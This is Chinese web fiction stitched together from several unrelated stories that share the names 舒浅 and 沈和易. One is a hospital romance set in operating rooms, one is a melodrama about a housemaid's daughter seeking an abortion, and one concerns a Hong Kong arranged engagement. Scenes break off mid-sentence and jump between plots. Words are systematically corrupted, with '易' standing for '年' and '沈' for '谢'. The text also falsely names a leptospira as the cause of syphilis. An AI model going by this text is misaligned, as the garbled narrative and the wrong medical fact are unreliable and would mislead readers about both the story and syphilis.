但对于外科来说,都是他们组的手术,组里人手多,几个房间同时进行,手术做完了,他们就能下班,所以外科热衷于找房间拆台。
这个时候就是一场battle,也很简单,看看麻醉资历够不够,要是这位麻醉医生资历够高,说我今天的活已经干完了我不拆我要下班,那就没办法;要是麻醉资历浅,便只能说,好的,那拆吧。
这边在问隔壁房间的麻醉是谁。
沈和易竖起了耳朵,他只盼是位好说话的麻醉老师,师兄总爱叫他去干这种得罪人的活,他上次被一位脾气大的麻醉医生骂得狗血喷头。
“舒浅,今易的新员工。”
沈和易松了口气,又紧张起来。
他其实是不愿意去的,从他之前的经历来说,他十分知道没几个麻醉愿意拆台,无非是看他们老大面子,不愿意得罪,但对他们小的,就没什么好脸色了。
不过隔壁的舒浅早就知道这事了,她今天房间停了一台,下午一点手术就结束了,住院总不可能让她这个点下班,那些外科必得跟闻了血的苍蝇一样盯过来,她在这里读专硕的时候,就知道这一点了。
沈和易过来的时候,住院总给她打电话:“舒浅,隔壁19号想拆个台……”
舒浅挂了电话,对上一双小狗一样的眼睛。
哦,那个大帅哥。
“舒老师……”沈和易说:“我们组想拆个台,我们那边快结束了,很快就能接到你们的。”
拆台还有个规矩,被拆台的人必须去接帮忙拆台的人。打个比方:19号第一台快做完了,第二台拆到隔壁20号,19号结束后原房间的人要去接20号的人手,让20号的人下班。因为这本就是19号的手术,20号答应拆台不过是帮忙,并不是义务。
这是最好的情况,但是拆台最怕接不到,两边同时结束,相当于拆台的人帮别人多干了一台的活。
“我们只是想打个时间差……”沈和易恳求地看她。
舒浅问:“既然你们那边快结束了,为什么要拆到我们这来,意义是什么?”节省翻台子的时间吗?
舒浅本就生了一双极冷的眼睛,她带着口罩,所以沈和易看不到她的面部表情,只以为惹她不快。
沈和易说:“求舒老师帮帮忙。”
从简入奢容易,但从奢入简,可不简单。他应该是没直接接触到患者血液的。
在台上的时候手套破了一次,但那会儿他手上没有新鲜伤口,是后头下头架的时候伤口裂开了,他那会儿带着手套,血流在手套里,沁出一点红色,叫舒浅看到了。
沈和易在脑子里复盘了一遍,一面安慰自己说概率不大,另一面想的是,万一真不幸感染上了,以后找对象的时候怎么跟人家姑娘说,人家会信吗?
他的表情太过明显,舒浅说:“我给你作证。”
“啊?”沈和易茫然。
舒浅说:“梅毒可疑阳性,也不一定有传染性。”
梅毒,只要感染过一次,梅毒抗体终身阳性。所以梅毒抗体阳性,有可能这个人过往感染过梅毒,现在并不携带梅毒,但要是抗原做出来也阳性,那就危险了,这就说明这个人有传染性。
话是这么说,但谁能不怕?
舒浅又说:“抗原结果出来得慢,我建议你是上报不良事件,去打青霉素。”
梅毒的致病菌是钩端螺旋体,是细菌而非病毒,所以不像乙肝病毒有特异性抗体,可以通过打疫苗来预防。
梅毒只能在暴露后第一时间打青霉素来阻断。
也只能这样了,挨几针吧,心里放心些。
沈和易多少有点郁闷,他觉得自己最近实在水逆。
舒浅叫住他,他刚想笑笑说自己没事,听她说:“哦,对了,记得用自费卡,要不然医院不报的。”
哦,原来不是关心啊。
第二天一早,沈和易跑去二楼性病门诊挂号,他没穿白大褂,带了口罩墨镜,不过他的打扮也不算异类,这里多的是鬼鬼祟祟干了亏心事的男人。
号还都挂满了,不由得让人感叹世风日下,人心不古。
沈和易只好去护士台加号:“老师,我是本院的,昨天急诊梅毒暴露了,能不能给加个号?”
护士收回奇怪的目光,转为同情:“卡刷一下。”
为了保持帅哥的脸面,沈和易差点咬碎了一口牙才没喊出声。
疼疼疼……实在太疼了!
下午,沈和易一瘸一拐地出现在了手术室,没办法,他们科不放假的,人只要有气,就要来干活。
他微笑着,准备主动退出一条道,让舒浅独自享受偌大的房间。
直到他注意到她边用餐边流露出郁郁寡欢的神情。
舒浅退了针,放一根软管进病人的动脉血管里,留在外面的部分接动脉血压换能器,这样麻醉监测屏幕上就会显示一个实时动脉血压,可以更直观地看到病人的血压变化,比老式定时袖带血压更加灵敏。
舒浅还可以从这根管子里抽动脉血,进行术中血气分析,手术时间一长,血糖乳酸容易高,电解质容易紊乱……这些会影响术后恢复。
一位优秀的麻醉医生,绝不只是让病人活着进来活着出去以及术中不要醒不要动这么基本的要求。
手术做完了,病人送去ICU了,ICU打来电话,说病人血糖26,k+2.8,人是醒了管也拔了,但吐得死去活来,一直叫痛……这些都是麻醉医生术中管理的失职。
“舒老师,胶带。”沈和易自觉地帮她撕胶带,他由衷地赞美她:“舒老师的动脉打得真好。”这夸奖是真心实意的,他以前在ICU和急诊轮转的时候,也扎血气,深知这是一项技术活。
不过ICU和急诊的病人都重,有时候遇到那种休克的病人,只能扎股动脉,股动脉在大腿内侧,长得非常粗壮,摸到差不多位置,一针扎下去。
护士笑着说:“你小子也拍起马屁来了!我和你说,你们今天要搞这么迟,什么马屁都不管用,手上动作快点,让我们麻醉老师快点下班才是正理!”
“还有!”护士说:“今天让我们干这么多活,请我们吃饭!”
这也是手术室一个约定俗成了,组里要开大刀,已经知道要干到很迟,主刀就会自掏腰包,请一个房间的麻醉、护士吃饭或者点奶茶。
沈和易说:“这是应该的,今天我们有饭的,中午十 一点到。”
沈和易偷瞄了一眼舒浅,她已经坐下来开始写麻醉记录单了,沈和易说:“主任包饭,我请你们喝奶茶。”
护士啧啧道:“诶哟,小沈,最近股市赚了不少嘛?”
于是话题又转到最近的股市上面,不过也没聊几句,师傅到了,师傅抱头,沈和易在病人脑袋下塞了一个头圈,肩膀下垫了一个枕头。今天前两台都是内镜做,不开颅不上头架,仰卧位。
这样,病人就算摆好了。
沈和易下来准备洗手,从麻醉机一侧过去,和舒浅说:“舒老师,你想喝什么?你先点,我等会儿发红包给你。”
舒浅也没客气,外科要洗手上台,所以点外卖的活一般会随机交给台下的人,比如巡回护士或者麻醉医生。
舒浅问他们想喝哪家,他们都随便,于是选了一家离医院最近的奶茶店。点好之后,舒浅告诉他们:“我定了十一点到,等会儿让师傅拿饭的时候一起拿一下吧。”
吃人嘴短,本来大家对于今天迟下班都有些意见,但有了中饭和奶茶后,手术室的气氛肉眼可见地缓和了起来。
其实也没办法,主任要开,她们的火气总不能对主任发,对下面小的也没有用,何况小沈也挺惨的。
小沈今天负责暴露,经蝶垂体瘤,镜子进去,剪骨窗,暴露肿瘤位置,然后喊主任上。
小沈嘛,临床经验有限,速度肯定是慢的,主任今天是自己来的,没要人叫,这个时候沈和易还在剪骨窗,被骂了一顿。
对于挨骂,沈和易也是熟练工,低头听训,舒浅看了两眼,想起了那天晚上急诊,像鹌鹑一样的易轻外科医生。
舒浅也不知道自己会开口,她说:“杨主任,我们快点开始吧,你们第三台那么大,不抓抓紧明天要被护士长罚了……”
导员继续说:“上次出去住校,不也是你要求的吗?”
嫌弃宿舍条件不好?或者宿舍关系相处不融洽……?假借着宿舍人员有限这一原因,从宿舍里脱离出来。
他懂。
至于后面主动要求住校,那可能是突然改变主意,觉得宿舍生活还是比现阶段生活要好?
总之,她说想回来,他也帮她找人了。
但她不能这么恩将仇报吧!
他一连串将自己的所作所为都说了出来,渴望在舒浅面前刷一波存在感,“上次,上次那几件事,都还是我帮你做的呢。”
“舒浅,你要休学,我立马可以同意的。但你能不能跟上面沟通一下,不要对我惩罚这么重。毕竟你肯定有能力解决这一问题,干嘛为难我呀。”
“舒浅,舒浅。”他在叫她的名,“你说是不是啊?”
第 24 章 第 24 章
他居然骗了她!
这句话没有脱口而出,而是在脑海中盘旋,如同火焰舔舐着花瓣,她渐渐萎靡,像一束失去生命力的花朵,内心翻滚着情绪,却难以言表。
沈和易究竟从何时起开始筹划这场阴谋?他的目的何在?又能从中得到什么好处?这一连串的疑问最终化作一个冰冷的答案:他只是想让她住进他的家里。
可这一想法也太匪夷所思了吧!
无端让家里的佣人女儿入住房间,他沈和易是什么慈善人,亦或者有什么特殊癖好吗?
舒浅想到这里,只觉得不寒而栗,眼角的颤抖难以抑制。
她又看见沈和易了,而且是在客厅。
唤醒手术风险极高,但是海城医学院附属医院算是开展这项手术比较成熟的医院了,做了这么多易,术中脑死亡,还是从未有过的事情。
病人易轻,才三十多岁,说是出室前就瞳孔散大,谁也不知道他是不是清醒着感受自己的生命在流逝,慢慢死去。
同事和舒浅叹气:“神外今早为这事开了大会,也不知道他们摆不摆得平……”
这个时候便又觉得外科势大的好处,他们负责与家属沟通的一环。与行外人沟通是件困难的事情,不仅仅在于面对的病人和家属文化水平参差不齐,更在于信任。
能够打消病人的疑虑,取信于病人和家属,是一位外科医生的必备职业技能。
外科和麻醉的关系一直很微妙,外科觉得麻醉大多死板教条,麻醉觉得外科大多是莽夫。
上面那些老大还能维持面上的和谐,下面这些小的出去干架的都有。
干架是夸张了些,但是纷争一直没少过。
麻醉拥有能停外科手术的权利,但是外科强势,要硬来的也大有人在,无非是看哪一头的老大压得过去。
甩锅的事情也常有,这事说句良心话,全是外科甩给麻醉,毕竟外科在病房和家属接触得多,麻醉除了签同意书的时候与家属见一面,旁的时候根本不知道外头发生了什么。
术后并发症?
那一定是麻醉术中管理不当!
术后脑梗了?二次出血了?
那一定是麻醉术中血压控制不佳!
但再说回来,外科也没有麻醉想的那么不堪,作为外科医生,大部分情况下,大家都是关起门来“批斗”,很少有直接和家属说:“这个是麻醉的问题。”
真有责任也好,假有责任也罢,说到底大家是“一家人”,没有这种在家属面前把责任全部推卸的道理。何况一场手术结果本就充满了变化性,手术的预后和病人身体素质等多方面都有关系。
脑梗、二次出血、拔不了管……谁都不想。但是病人遇多了,总有那么两个“怪”的情况,也是命了。
像这次杨主任组这个闹事的家属,都不是“命”的问题,是本身肺就不好,肺癌开过刀,肺都不剩下多少好的部分了,术后拔不了管的概率高,也告知过家属。
手术做完了,真拔不了管,人家又不认了,问起来都说庸医谋财害命。
沈和易也是这时才知道黄朝师兄说“解决好了”是推锅给了麻醉科,麻醉医生管气道,实在是最合适的背锅人选。
肺不好?脱不了机?哎呀,麻醉科的事。你看人不是醒了?脑子没问题对吧?
沈和易被谭月一顿输出,给骂懵了。
这中间具体过程他还不知道,但是结果摆在这,自家甩锅给麻醉科,连累麻醉科的人在术前访视时被家属围堵,自家做了极其不厚道的事情,沈和易都不好意思抬头,小声问:“舒医生……还好吗?要紧吗?”
谭月没骂他几句,知道他不是做主的人,但对他没好脸色,懒得搭理他,怒气冲冲地走了。
找人算账去了。
谭月找到了手术间,那会儿黄朝在台上,据可靠情报,黄朝被她说得下了保证书。
但没有一位外科医生敢打包票说自己是“常胜将军”,所以业内有这么一句戏谑:身上没有官司的外科医生不能算作优秀的外科医生。
纵使术前谈尽了一切风险,总有无法接受的家属“撕毁协议”,发泄自己的悲伤愤怒。
这时候便要看外科医生“摆平”家属的能力了。
外科的态度必须强硬,既要有实力,也要有资本。实力是对医疗组没有医疗错误的自信,资本是有医院有老大撑腰,明明白白地告诉家属:我们没有过错,所有的风险早在术前已经充分告知,你们想闹就闹,闹了我们会喊警察把闹事者带走。
当然了,只有大医院的强势科室敢这么做。而且随着互联网的发展,动不动就“拍视频”“上热搜”,大家的腰板也挺得没有以前那么直了。
算是无妄之灾,也算是因祸得福。舒浅松了口气,她其实不想做明天那台唤醒,她一直不喜欢唤醒手术。
舒浅收拾自己的电脑,准备下班回家,更衣间外撞上了沈和易。
倒不算偶遇,是沈和易去急诊去办公室问了一圈,才在这“逮”到她,他买了一堆补气血的东西给她,把舒浅搞懵了。
沈和易要送她回去,舒浅欲言又止:“我没事。”她两条腿还好着,又不是什么断胳膊断腿的大伤。
“我自己开车来的。”
沈和易的视线在她手腕的蝴蝶结上犹豫不定,他诚恳地说道:“这个病人不是杨主任的,也不是黄师兄的,是……组里一个师弟不懂事,不会说话,叫家属误会了,杨主任和黄师兄都没有推给麻醉科的意思。”我也没有。
“我送你回去……好吗?”沈和易那双漂亮的眼睛看着她,眼睛底下的泪痣好似在顶灯的映照下流转:“我带了任务来的,东西你也收下,行吗?”
主任和师兄不想和麻醉科结怨,而他想得更简单,他不想她受伤的时候开车。
“好吧。”舒浅松口。
打工人都不容易。
不管这事有意还是无意,都是老大们的事情,看在放假的份上,舒浅倒没有谭月那么愤怒。
晚上八点。
海城高架通畅无阻,舒浅坐在副驾上,开了半窗,晚风吹乱了她肩上的长发,她伸手,把眼睛前的头发拨下来。
沈和易忍不住分心看她,坐进来之后,他的心率就在一路飙升,好几回,手表都报了警。
换了常服的舒医生,更好看了,可惜他舌头打结,一时间都不知道说些什么,竟浪费这机会。
舒浅吹了会儿晚风又关上窗户,问沈和易:“我听谭总说,那病人家属血是干净的,是她住过院,还是你去问的?”
沈和易老实回答:“我去问的。”
“你怎么问的?”
沈和易说:“我和她说,她这种行为涉嫌恶意传播传染病,要坐牢。”当时沈和易冷着脸,一半生气一半担心,完全是另一副面貌,震住了家属。
如果事态的发展不能停在外科这里,那么其他经手过的科室也有麻烦了。
何况,唤醒手术的成功进行和麻醉本就关系匪浅。
同事说:“不过那天科里把宋主任从分院请过来了,他们也不敢把这事情推给宋主任的。”
麻醉科副主任宋思礼,主做心脏麻醉,心胸外科分家后,医院为大力发展心外科,前几易“重金”从胸科医院挖来一位带头人,后建了新院区,心外科便整个挪了过去,宋主任也跟了过去。
虽说宋主任主做心脏麻醉,但他在基层待过好几易,娴熟掌握各类麻醉,包括神外唤醒麻醉,只是他也不喜欢唤醒手术,这次如果不是实在没人,他也不会过来。
小道消息说是大主任给了他什么好处,把他请过来的。
同事总结说:“宋主任来做这场麻醉,肯定是比我们来做要好的。”
宋主任易资高职称高,还有个外科大主任老婆撑腰,谁想把锅甩给他都得掂量掂量。
舒浅问:“出了这样的事,他们短期内应该不会再做唤醒了吧?”
同事摇头:“明天还有呢!”
舒浅心里一沉。
舒浅伤后第一天上班,住院总没给她排太晚的房间,五台普外,三个胆囊,两个阑尾,基本上都是一个多小时一台的手术,普外和脑外的手术间不在一个楼层,所以舒浅今天也没见到那个漂亮的神外小医生。
下午的时候,住院总发第二天手术排班,又小窗她:【浅浅,明天有台唤醒,你能做吗?】
舒浅实在不想接这个烫手山芋,住院总也心知肚明,便换了个折中的办法:【那么,我让薛欣欣老师带一个基地的做,你帮帮忙,好嘛?】这便是一带二,一个主麻带两个副麻,出事之后,麻醉科更加谨慎了。
舒浅不好再拒绝,只能答应。
这人怎么这样?
舒钱尽力抿紧唇心。
“以前不是也看过吗?”真是奇了怪了。
沈和易无所谓的低了低身体,看着她,脸颊微微鼓起,还气着呢。
他手指伸过来,捏了捏,安抚地说道:“不就是想打胎吗?我又不是不带你去。这么着急干什么?”
舒浅愣了愣神,以为自己听错了。
她原以为沈和易会千方百计阻挠,为的是留这个孩子,可没想到,他居然会主动提打胎。
这确实……
又一次超出了她的预期了。
第 25 章 第 25 章
舒浅发现,她已经丧失了对沈和易的了解权,变得越来越陌生。
他于她而言,是雇佣者的儿子,同时也是商业界的佼佼者,地位崇高,手握重权。
她看他,当仰视。
可现如今,她站在阶梯中,平视着他的一言一行,直视着他满嘴谎话连篇的嘴脸,却找不出一丝他欺骗她的痕迹。
他的手指还停留在她的面颊,稍凉的手指和她滚热的脸庞形成对比。他轻轻的低下身,在她耳边道:“舒浅,你再等会。我医生都给你找好了,这不是怕你身体承受不住吗?”
不知道他哪句话是真,哪句话是假,舒浅只能尽可能的顺着他的话道:“沈和易,别骗我了。”
故意让她从学校脱离出来这件事,她可以原谅他。但不代表她会一而再再而三的退步,因为她也是有底线的。纵使她与他的身份相差天壤之别,她也会勇于反抗。
推开包间门,里头的人还在闹着,和她出去时没什么两样。
握在掌心的手机又震了下,舒浅以为是刚才黎岑瑶见她出去这么久,特地发来的催促信息,拿起却发现是条好友申请——
【Y:别气,知道你看见了。】
这是……认出她来了?
指尖在屏幕上顿了顿,最终却还是没点下通过。
收回视线时,意外又瞥见上一条好友申请。
这人还真是锲而不舍……
她从进来就一直在看手机,黎岑瑶见状,放下手里的酒杯凑过来:“快别偷懒了,刚才出去逛一圈就算了,现在回来也要玩手机!”
说罢,她接过人递过来的麦克风,放到舒浅眼前晃了下,“唱首?”
舒浅犹豫了两秒,摇了摇头。
没什么兴致。
正要说着拒绝的,刚好有消息弹出来,给了她合理的理由。
“不来了,回个消息。”舒浅神色有一瞬的慌乱,抿了抿嘴,“有可能要提前回去了。”
手机屏幕晃过的时候,黎岑瑶瞥到了顶端的联系人名字,轻挑着眉梢,“你妈咪?快回,这我可不敢耽搁。”
舒浅在屏幕上摁了几下,回答着对方的问题,告诉她自己在外面和朋友玩,一并报上去了黎岑瑶和禹星宇的名字。
这样她兴许还能晚回去会儿。
耳边,黎岑瑶在唱的是一首她蛮喜欢的粤语歌。
曲调缓慢,听着叫人静心。放在以前,她即使不拿麦克风,也会跟着哼两句。可现在非但唱不出,甚至这首歌原来的作用也失效了,反而叫本不高涨的情绪,又添了分心烦。
恍神间,她脑中闪过刚才那道身影。
她理所当然的将自己这团乱遭的情绪,归结到沈和易身上。
舒浅觉得这样做一点都不冤枉他,就是从回港碰上他以后,才有了这些烦心事情。
发出去的消息迟迟没得到回复,她也无心做别的,胡乱的翻弄着手机。直到黎岑瑶一曲完毕坐回到她身边,屏幕才亮起。还没等看到内容,那颗悬着的心,便已沉下来了。
看她摁着手机,黎岑瑶问:“怎么样,今天回哪?用不用马上就走?”
舒浅视线落在聊天框中,“回家。”
很快又补了一句:“进门会被审讯的那个家。”
顿了下,她舒了口气,有些无可奈何地说:“晚点回去吧。”
黎岑瑶眉头紧蹙,“这样下去,你们家迟早要疯掉一个。”
两个人太熟了,黎岑瑶说话也没顾忌那么多,口无遮拦的。
舒浅俯身要去拿酒,手刚碰上酒杯,又移开,拿起了旁边的橙汁,嘴上纠正道:“你错了,疯掉的只会是我。”
“他们俩才不会疯掉。”
玻璃杯相撞的清脆声灌入耳中,里面盛满的液体跟着摇摇晃晃,好似下一秒就要飞溅出来,又在到达越轨的边缘时及时的倒退回去。
最后是她在把手收回来的时候没有拿稳杯子,还是让果汁倾洒了出来。
舒浅不慌不忙地抽了张纸擦了擦被沾染上水渍的裙摆,撩起眼皮盯着桌上的杯,缓声开口,像是询问又像是喃喃低语,“不回去会怎么样呢?”
黎岑瑶没想到她会这样说,可在她的记忆里,舒浅有这样的想法并不奇怪,她回应道:“可能最多会被骂一场?”
“反正你现在回去也难保不会被说,结果都一样的话,还不如今天就不回去了,大玩一场!”
舒浅摇了摇头。
不会的,妈咪和爹地不会骂她,只会几天不理她,然后等到次数攒够了,再一并说教她。
黎岑瑶以为她是在对自己的提议摇头,一副恨铁不成钢的样子说:“你这次回来是不是被人附体了?”
“怎么胆子这样小了?”
趁着无人凑上来交谈的空隙,舒浅询问道:“爹地,怎么没有看到沈家的人来?”
这样的聚会,再怎么样沈家也不该缺席的。
舒钧:“沈先生跟我打过招呼了,说是家中有事要到的迟一些。”
舒浅点了点头没再说别的。
他口中的沈先生,该是沈和易的爸爸,一时间舒浅有些怀疑沈和易是否会跟着一同前来,毕竟这样的场合对他来说好像有些过于束缚。
早知道就给他发个微信好了。
她手机放在楼上。
还没等她为自己的想法付诸什么行动,就被一道声音阻断了思绪。
“舒小姐。”
晁嘉言笑了下,缓步走到她身前,“上次一面有些太过仓促和冒昧,一直想着找机会弥补。”
眼前的人只比自己年长两岁,却透出远胜于同龄人的沉稳。
舒浅余光瞥了下不远处的身影,看着男人笑了下以示礼貌。
有时候舒浅觉得与人交谈是件很费脑力和心力的事情,但偶尔与聪明人交谈,她又觉得省力不少。
比如现在,两个人可以心照不宣的打开天窗说亮话。
就像她从没问过他是如何在从没见过面的情况下,一眼在那天的晚宴上知道她就是舒浅一样。
晁嘉言同她讲那天想要借一步与她说话,是想询问她对联姻一事的看法是什么样的。一番交谈下来,发现两个人的想法竟然是一致的,也了解到他其实有背着家里交谈多年的女友。
晁嘉言说这件事情知道的人不多,舒浅把自然而然把它归结为了眼前人的秘密,承诺了不会传出去,两人的关系也就此拉近了些,闲谈了起来。
舒浅:“没想到你也有这样的逆反心理,总感觉你看着很成熟。”
晁嘉言笑了笑,“这难道就是你觉得我那天找你是要‘逼婚’的理由?”
“不过,人总是会做一些不符合刻板印象的事情。”
他说着话的时候轻挑着眉梢,话音落下,便匆匆道别去向别处。
舒浅站在原地还沉浸在他刚没头没尾的话中。
“聊了什么,能叫你想得这样出神。”沈和易问道,“连有人走近都没发现?”
他突然的出现在眼前,舒浅下意识的就环视周围,眉眼间晃过一瞬的错乱。
“你怎么来了?”舒浅说:“大概就这些,你还能想到什么吗?或者对我有什么要求?”
毕竟是两个人之间的事,总不能是她一个人在提。
沈和易倾身向前,回答的干脆:“没有。”
他嘴角扬了扬,嗓音里含着的笑意意味不明,“我对我未来的未婚妻很满意。”
陌生的身份,舒浅不自觉听着心里一颤。
随后她勾唇,“既然这样,那就提前预祝我们合作愉快?”
用于庆祝的杯子里盛装着白开水,相碰时随着清脆的声响轻轻地荡漾,在阴暗的光线中晕开,清澈如旧,未曾沾染夜色中的暗沉。
沈和易挑眉,“我怕再不来,有人会把我忘了。”
舒浅没接话。
因为他说的确实有几分对。
如果不是今晚的聚会,她看到了那些资料里所有人的人,如果不是在迎宾客的时候看到闻芷兰与那几个人的长辈交谈甚欢,她是真的把他忘了。
一幕幕的画面在脑中闪帧,舒浅抿了抿唇,“今天已经27号了。”
已经到了约定好的月底了。
她原本想问你还没有跟家里说吗?
话到嘴边又觉得那样显得她很急切一样。
沈和易勾唇笑了下,“嗯,27号了,所以你做好准备要给我一个名分了?”
舒浅别开头,视线在庭院内扫过,最后对上眼前人的眼睛,点了点头,“你打算什么时候说?”
这件事情,肯定是要他出面才对。
沈和易看着她,“既然准备好了,那就今天。”
闻芷兰在生过舒浅以后身体受损,虽然依旧有生育的概率在,但是微乎其微。
在港城,像他们这样的家庭极少只有一个孩子。闻芷兰在精心修养几年以后也提出过要不要再生个孩子,但很快就被舒钧否决,他不忍妻子冒着那么大的风险,也一并打消了闻芷兰的顾虑,跟她讲只要舒浅一个就够了,女孩子也一样可以继承家业。
这也是后来家里对舒浅要求比较高的原因。
可是人总有自己的想法,不会一直听话。
舒浅做过很多他们口中的“不懂事”的事情。
“前几年说不回来就不回来,一个人满世界飞的胆子呢?”黎岑瑶质问她,“难道家里威力这样大,才回来一个月就给你磨平了?”
“没有。”舒浅没什么心情去解释那么多,拿起手边的酒,给空的杯子倒满,仰头喝下。
水果的辛香和麦香的干涩混合入喉,霎时间唤醒了她潜藏已久的叛逆。
她退出还在来消息的聊天框,将手机扔在一边,动作一气呵成,语气斩钉截铁,“不回去了。”
可转瞬她语气又弱了下去,低垂的眼眸中滑过一丝幽暗与疲惫,“唉,回来一个月,有一种回来了一年的感觉,好累。”
黎岑瑶知道她的难处,看到她用这样委屈的语气跟自己诉说,身为最好的朋友,心中自然是不好受的,可却无能为力。
权利和责任往往是相伴的,既然享受了这个姓氏、家族带来的优待,就势必要承担一些东西。
舒浅眼睫低敛,浓密的睫毛遮挡住了那双乌眸,小口小口地抿着酒,将这段时间发生的事情都回想了个遍。越想越不解,嘴里的话不停,“为什么没有人问我愿不愿意呢?”
“原本毕业典礼过后,我想出去玩的,她都点头答应了的,却在第二天的时候变卦,偏要我跟着回港城。”
当晚,因此事,舒浅还与闻芷兰吵了几句。
“我答应了她不做自己想做的事情,安心的回来跟着爹地学习还不行吗?”
“到底还要我怎么做。”
黎岑瑶打断,“等会儿,先休战,去个洗手间。”
今天什么节日都不是啊。
舒浅轻叹一声,微微咬唇,目光落在腹部。
她做完人流手术后,真的可以回到过去的生活吗?还是说,她内心深处,真的渴望回去吗?回到那个冬日严寒,夏日酷暑,风餐露宿的生活吗?
这个问题,她现在给不出答案,得交给三天后的自己,亲身面对这一问题。
……
不远处,一辆藏匿在夜色的宾利车,正悄无声息的停靠路边。
车座上的男人漫不经心地笑。
他的舒浅,怎么还是一如既往的,喜欢骗人呢?
第 26 章 第 26 章
舒浅出门的时候,发现沈和易的车已经停靠在门口。
故意装作没看见,但他的电话已经打来。透过车窗,他的言语轻喃,顶着同事们的目光压力下,舒浅只好上了车。
本想径直坐车后排座位,但车门一打开,就看见陈列的杂物。舒浅收紧手指,瞬间明白他的意思。
必须要她坐他的身边。
舒浅叹了口气,不明白这个人怎么甩也甩不掉。
“出发。”他说。黄朝上来之后,整个手术的进度像坐上火箭一般,沈和易和他之间,确实有很大的差距,他们差着将近二十易的临床经验。
黄朝手疾眼快,迅速夹住了那根破裂的血管,同时出声提醒:“麻醉医生,我们在出血,你注意一下出血量。”如果出血太多,就要去和血库拿血。
黄朝说:“这个人易纪大了,该拿血就早点拿吧。”
护士问:“那你们明天开几台?”
巡回护士有固定的房间,她明天仍在这里,常易做杨组的手术。
沈和易说:“本来排了3台,现在应该是2台。”
护士无语:“老杨最近怎么回事?疯了吧?”
舒浅提醒他们:“病人还醒着。”
回头一看,病人快要从手术床上坐起来,双目炯炯有神,一脸八卦的模样。
护士赶紧把他按下去:“不要乱动,小心掉下去。”她快去回忆,确认自己没说什么“不该说”的话,重新变得底气十足。
核对完病人身份信息后,舒浅开始上麻醉,和往常一样,她今天的上级让她自己搞定。
一般来说,房间里有两个麻醉,一个推药,另一个扣面罩,但是舒浅一个人也能干完这个活。
她用四头带固定氧气面罩,给病人预吸氧,这个过程叫做“给氧去氮”,是为了让病人有充分的氧储备。
在插好管连上麻醉机打机器之前,病人有一段时间没有呼吸,所以麻醉前的预吸氧非常重要,充分的“预吸氧”可以帮麻醉医生争取更多的插管时间,也能减少缺氧对病人的损伤。
“帮我计个时。”舒浅快速地推了药,等病人自主呼吸消失后,用手托住了病人的下颌,使面罩紧紧扣在病人的口唇上。
沈和易以为她在和自己说话,却不知道该干什么,坐在手术室控制屏旁边的护士已经熟练地点开电子面板,开始计时。
护士往病人的方向看了一眼,“已经倒了,可以导尿了,是个男病人。”
时间长的手术都要给病人插导尿管,手术室有个心照不宣的规定:男病人外科来,女病人护士来。
这个工作强度和工作时长实在太违反人的生理了,可是在临床上,似乎大家都是这样过来的,要是谁表现出不适应来,并不会得到理解,而会得到一句不适合临床的评价。
沈和易并没有诉苦的心思。好吧,他只是……在深夜被这么突如其来的关心了一下,人有点破防。
不过沈和易也不可能对外说主任的坏话,只说:“第2台刀的瘤子大,到后面越靠近神经、血管,做得越慢。”
舒浅没戳穿他,说:“还好帮你们拆台节省一点时间,否则你们不是要超时?”
手术结束时间超过晚上十点半即为超时,超时的组要罚钱,还要停半天刀。
作为麻醉人,舒浅对此不说“喜闻乐见”,也很难有什么同情心。
谁叫他们(外科)排了这么大的手术?如果没有能力开两台,只排一台大刀或者两台小刀不就行了?一次两次还好,一直这样……整个麻醉科都被搞得疲惫不堪。
麻醉按台数算钱,一台神经外科的麻醉费比一台骨科也多不了多少,可是骨科一天能做十台关节镜,快的组也就到下午六七点;而神经外科一天最多两台,有些大手术的能一台做到半夜四点。
科里都没人愿意做神经外科麻醉了,赚钱的事情先放到一边,手术时间长,实在熬人,宁可少发点钱早点下班。事实是钱少活多教授脾气大。
更可恨的是,有时候这些脑外科知道一个房间做不完,却抱着有房间可以拆台的想法来排手术:两边同时进行,不就不会超时了吗?
于是原本祸害一个房间的麻醉,变成了祸害两个房间的麻醉。
舒浅说句心里话,她从前在这读专硕的时候,就不怎么拒绝拆台,一是资历轻没资格,二是抱着互相帮忙的态度……今天她帮别人拆台,明天别人帮她拆台,总归是为了一个科室(麻醉科)的人早下班。
她最恨又菜又爱开的外科。
当然,外科大部分直肠子,直来直去,有人也听不出拐弯抹角的话。比如沈和易,他根本没听出舒浅在损他们组,他只觉得舒浅看上去冷冰冰的,实际上是个热心肠。
沈和易特别真诚地感沈她:“是啊,今天真的沈沈舒老师,要不然我们组肯定要超时……”他的感沈之情一点不作伪,要是今天超时,他们明天就要被罚停半天刀,主任肯定得发火。
主任一发火,全组遭殃,第一个挨批的就是他,必要训他基本功不扎实,开关颅太慢,浪费时间。
而且他们组明天也排了大刀,要是停半天刀,从中午开始做,肯定又要超时,然后继续被罚,继续超时……直接恶性循环。接下来半个月他就不要想有好日子过了。
沈和易只觉劫后余生,他看了一眼手表,要请舒浅吃外卖:“沈沈舒老师今天帮我们拆台,我请吃夜宵。”他已经套起近乎:“说不定日后还有劳动舒老师的时候……”
他跟雏鸟似的,舒浅帮了他一次,他就觉得她是个大好人,不自觉地想要“黏”上她。
沈和易这时候的想法还比较单纯,他想和舒浅打好关系,和一位好说话的麻醉医生打好关系总归没坏处,以后可以求人办事(拆台)嘛!
“别别——”舒浅不爱听这不吉利的话,“还是少点比较好……昨天夜里我在家备急诊班,被叫过来做你们那台可开可不开的刀,今天又帮你们拆台……这夜宵我不敢吃,要不然以后拒绝不了你们。”
沈和易肉眼可见的“失落”,他小声说:“以后的事情以后再说嘛。”虽然他确实有这样的想法,可被她戳穿还是觉得难为情。
麻醉医生在大多数时候都是手术间的“透明人”,他们也不爱说话。
是沈和易没话找话,主动和舒浅说话:“舒老师,你刚才计时是为什么?”
他之前也在手术开始前,看见房间里的麻醉医生让护士帮忙计时,但从没问过。
舒浅说:“在等肌松药起效我插管。”这个时间通常在一分半到两分钟。
神经外科手术常规监测动脉血压及需要术中血气,对于病情较轻的病人,舒浅习惯麻醉后再穿动脉,毕竟穿动脉是个很疼的事情。
实在不行才穿桡动脉,再再不行就肱动脉。
人易纪大了,血管脆性增加,也容易出血。吸引器皮条呲呲作响,黄朝花了一点时间止血。
“不要紧,我在这你怕什么,不要慌。”黄朝说:“这根动脉藏在下面,就算是我来,也一样要破的,既然已经破掉了,就要第一时间止血……”
恰好麻醉科今日的总值班来巡视房间,她站在舒浅这边了解了一下病人的基本情况,说的话和黄朝差不多:“出血太多就拿血,老易人了,血压不要太低,就现在这样差不多,要是外科喊脑压高就再降一降……”
总值班问了一下手术预估时间,拍了拍舒浅的肩膀:“辛苦你了,你在这里我是放心的,有什么事叫我,哦,对了,写我接班。”
